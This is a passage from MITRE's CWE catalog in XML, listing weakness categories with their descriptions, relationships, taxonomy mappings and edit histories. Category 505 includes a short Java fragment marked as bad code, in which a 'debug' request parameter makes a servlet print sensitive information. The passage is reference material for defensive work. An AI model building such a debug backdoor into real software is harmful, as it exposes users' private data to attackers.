						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="4" Name="J2EE Environment Issues" Status="Incomplete">
			      <Description>
				        <Description_Summary>J2EE framework related environment issues with security
					implications.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>3</Relationship_Target_ID>
					          <!--Technology-specific Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
			      </Relationships>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Configuration Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="411" Name="Resource Locking Problems" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					locks that are used to control access to resources.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
			      </Relationships>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Resource Locking problems</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="417" Name="Channel and Path Errors" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					communication channels and access paths.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>A number of vulnerabilities are specifically related to problems in
						creating, managing, or removing alternate channels and alternate paths. Some
						of these can overlap virtual file problems. They are commonly used in
						"bypass" attacks, such as those that exploit authentication errors. </Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Most of these issues are probably under-studied. Only a handful of public
						reports exist.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Channel and Path Errors</Mapped_Node_Name>
					          <Mapped_Node_ID>CHAP.VIRTFILE</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="418" Name="Channel Errors" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					communication channels.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>417</Relationship_Target_ID>
					          <!--Channel and Path Errors-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Channel Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="429" Name="Handler Errors" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper management
					of handlers.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
			      </Relationships>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This concept is under-defined and needs more research.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Handler Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="438" Name="Behavioral Problems" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to unexpected behaviors
					from code that an application uses.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
			      </Relationships>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Behavioral problems</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="442" Name="Web Problems" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to World Wide Web
					technology.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
			      </Relationships>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Web problems</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="445" Name="User Interface Errors" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category occur within the user
					interface.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>User interface errors that are relevant to security have not been studied
						at a high level.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>(UI) User Interface Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">User Interface Quality
						Errors</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Category>
                    <Category ID="452" Name="Initialization and Cleanup Errors" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category occur in behaviors that are used
					for initialization and breakdown.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Most of these initialization errors are significant factors in other
						weaknesses. Researchers tend to ignore these, concentrating instead on the
						resultant weaknesses, so their frequency is uncertain, at least based on
						published vulnerabilities.</Text>
				        </Note>
			      </Other_Notes>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Initialization and Cleanup Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="461" Name="Data Structure Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					specific data structures.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>19</Relationship_Target_ID>
					          <!--Data Handling-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="465" Name="Pointer Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					pointers.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="490" Name="Mobile Code Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are frequently found in mobile
					code.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>503</Relationship_Target_ID>
					          <!--Byte/Object Code-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="503" Name="Byte/Object Code" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are typically found within byte
					code or object code.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>17</Relationship_Target_ID>
					          <!--Code-->
				</Relationship>
			      </Relationships>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Object Code</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="504" Name="Motivation/Intent" Status="Draft">
			      <Description>
				        <Description_Summary>This category intends to capture the motivations and intentions
					of developers that lead to weaknesses that are found within
					CWE.</Description_Summary>
			      </Description>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Genesis</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="505" Name="Intentionally Introduced Weakness" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category were intentionally introduced by
					the developer, typically as a result of prioritizing other aspects of the
					program over security, such as maintenance.</Description_Summary>
				        <Extended_Description>
					          <Text>Characterizing intention is tricky: some features intentionally placed in
						programs can at the same time inadvertently introduce security flaws. For
						example, a feature that facilitates remote debugging or system maintenance
						may at the same time provide a trapdoor to a system. Where such cases can be
						distinguished, they are categorized as intentional but nonmalicious. Not
						wishing to endow programs with intentions, we nevertheless use the terms
						"malicious flaw," "malicious code," and so on, as shorthand for flaws, code,
						etc., that have been introduced into a system by an individual with
						malicious intent. Although some malicious flaws could be disguised as
						inadvertent flaws, this distinction can be easy to make in practice.
						Inadvertently created Trojan horse programs are hardly likely, although an
						intentionally-introduced buffer overflow might plausibly seem to be an
						error.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>504</Relationship_Target_ID>
					          <!--Motivation/Intent-->
				</Relationship>
			      </Relationships>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following snippet from a Java servlet demonstrates the use of a
						"debug" parameter that invokes debug-related functionality. If deployed into
						production, an attacker may use the debug parameter to get the application
						to divulge sensitive information.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String mode = request.getParameter("mode");</Code>
							              <Comment>// perform requested servlet task</Comment>
							              <Comment>...</Comment>
							              <Code/>
							              <Code>if (mode.equals(DEBUG)) {</Code>
							              <Block>
								                <Comment>// print sensitive information in client browser (PII,
									server statistics, etc.)</Comment>
								                <Comment>...</Comment>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Intentional</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Intentional</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Category>
                    <Category ID="513" Name="Intentionally Introduced Nonmalicious Weakness" Status="Incomplete">
			      <Description>
				        <Description_Summary>Nonmalicious introduction of weaknesses into software can still
					render it vulnerable to various attacks.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>505</Relationship_Target_ID>
					          <!--Intentionally Introduced Weakness-->
				</Relationship>
			      </Relationships>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Nonmalicious</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Nonmalicious</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Category>
                    <Category ID="517" Name="Other Intentional, Nonmalicious Weakness" Status="Incomplete">
			      <Description>
				        <Description_Summary>Other kinds of intentional but nonmalicious security flaws are
					possible. Functional requirements that are written without regard to security
					requirements can lead to such flaws; one of the flaws exploited by the "Internet
					worm" [3] (case U10) could be placed in this category.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>513</Relationship_Target_ID>
					          <!--Intentionally Introduced Nonmalicious Weakness-->
				</Relationship>
			      </Relationships>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Other</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Other</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Category>
                    <Category ID="518" Name="Inadvertently Introduced Weakness" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software contains a weakness that was inadvertently
					introduced by the developer.</Description_Summary>
				        <Extended_Description>
					          <Text>Inadvertent flaws may occur in requirements; they may also find their way
						into software during specification and coding. Although many of these are
						detected and removed through testing, some flaws can remain undetected and
						later cause problems during operation and maintenance of the software
						system. For a software system composed of many modules and involving many
						programmers, flaws are often difficult to find and correct because module
						interfaces are inadequately documented and global variables are used. The
						lack of documentation is especially troublesome during maintenance when
						attempts to fix existing flaws often generate new flaws because maintainers
						lack understanding of the system as a whole. Although inadvertent flaws do
						not usually pose an immediate threat to the security of the system, the
						weakness resulting from a flaw may be exploited by an intruder (see case
						D1).</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>504</Relationship_Target_ID>
					          <!--Motivation/Intent-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Inadvertent</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
